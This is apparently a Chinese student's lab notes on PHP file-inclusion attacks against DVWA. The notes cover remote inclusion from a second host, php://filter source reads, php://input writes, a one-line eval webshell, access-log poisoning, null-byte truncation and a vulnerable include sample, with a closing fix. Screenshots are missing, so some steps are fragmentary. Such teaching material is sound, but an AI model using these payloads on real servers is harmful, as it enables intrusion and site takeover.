程序在开发的时候,未对包含的文件进行严格的过滤,攻击者可以构造自己的图片木马当作php执行
- 本地包含
不需要条件,只要有程序代码漏洞,默认条件就可以包含漏洞
- 远程包含
需要allow_url_include=on(开启远程包含功能)、magic_quotes_gpc=off(魔术符号关闭)

http://10.0.0.130:91/123.php?filename=http://192.168.134.1:90/123.jpg
第一个为有包含文件的主机第二个是被攻击的

插入木马可以直接用菜刀连接
include 返回一条警告
include_once
除了原有 include 的功能以外,它还会做 once 检测,如果文件曾经已经被被包含过,不再包含
require 一个致命的错 重要的文件
require_once
除了原的功能一外,会做一次 once 检测,防止文件反复被包含这2个涵数include(),include_once()不重复加载,require()和require_once()遇到错误退出
审计(白盒测试)直接在源代码里搜索这四个函数 include,include_once,require,require_once
渗透测试(黑盒测试)看参数,如果不是脚本的形式被解析成脚本就是有包含函数
读文件 有特殊字符一定要转换为baes64
例如:http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=x.php
换为low

更改这里,进行编码

修改过后的 php://filter/read=convert.base64-encode/resource=../view_help.php

右边的内容经过base64加密,需要解码

写文件/命令执行
注意:只有在allow _url_include为on的时候才可以使用
http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://input,并且提交post数据包为:

执行成功

一句话木马写入方法:');?>
写一句话木马


访问的是当前路径(写木马的地址)

直接用菜刀连接即可
包含绕过
写入一句话要在burp写入,在搜索会被编码
没有日志文件

配置文件的这两个去掉井号


是空的

http://10.0.0.130:91/dvwa/%3C?php%20@eval($_POST[%27123%27]);?%3E 传入一句话木马


http://10.0.0.130:91/dvwa/vulnerabilities/fi/?page=../../../../Apache/logs/access.log


不会被执行,因为被编码了

在burp内输入语句

访问日志文件就可以直接访问语句输入的

这种方法只适合于magic_quotes_gpc=off的时候,在PHP 的老版本中也是存在着一些其他的截断问题
-
- if(isset($_GET['page'])){
- include $_GET['page'] .".php" ;
- }else{
- include 'home.php';
- }
- ?>
- ##写入记事本

http://10.0.0.130:91/2.php?page=phpinfo.jpg 进行拼接(无法访问)

切换低版本


http://10.0.0.130:91/2.php?page=phpinfo.jpg.php

http://10.0.0.130:91/2.php?page=phpinfo.jpg%00

http/https
File
php
ssh2
对文件严格过滤,写死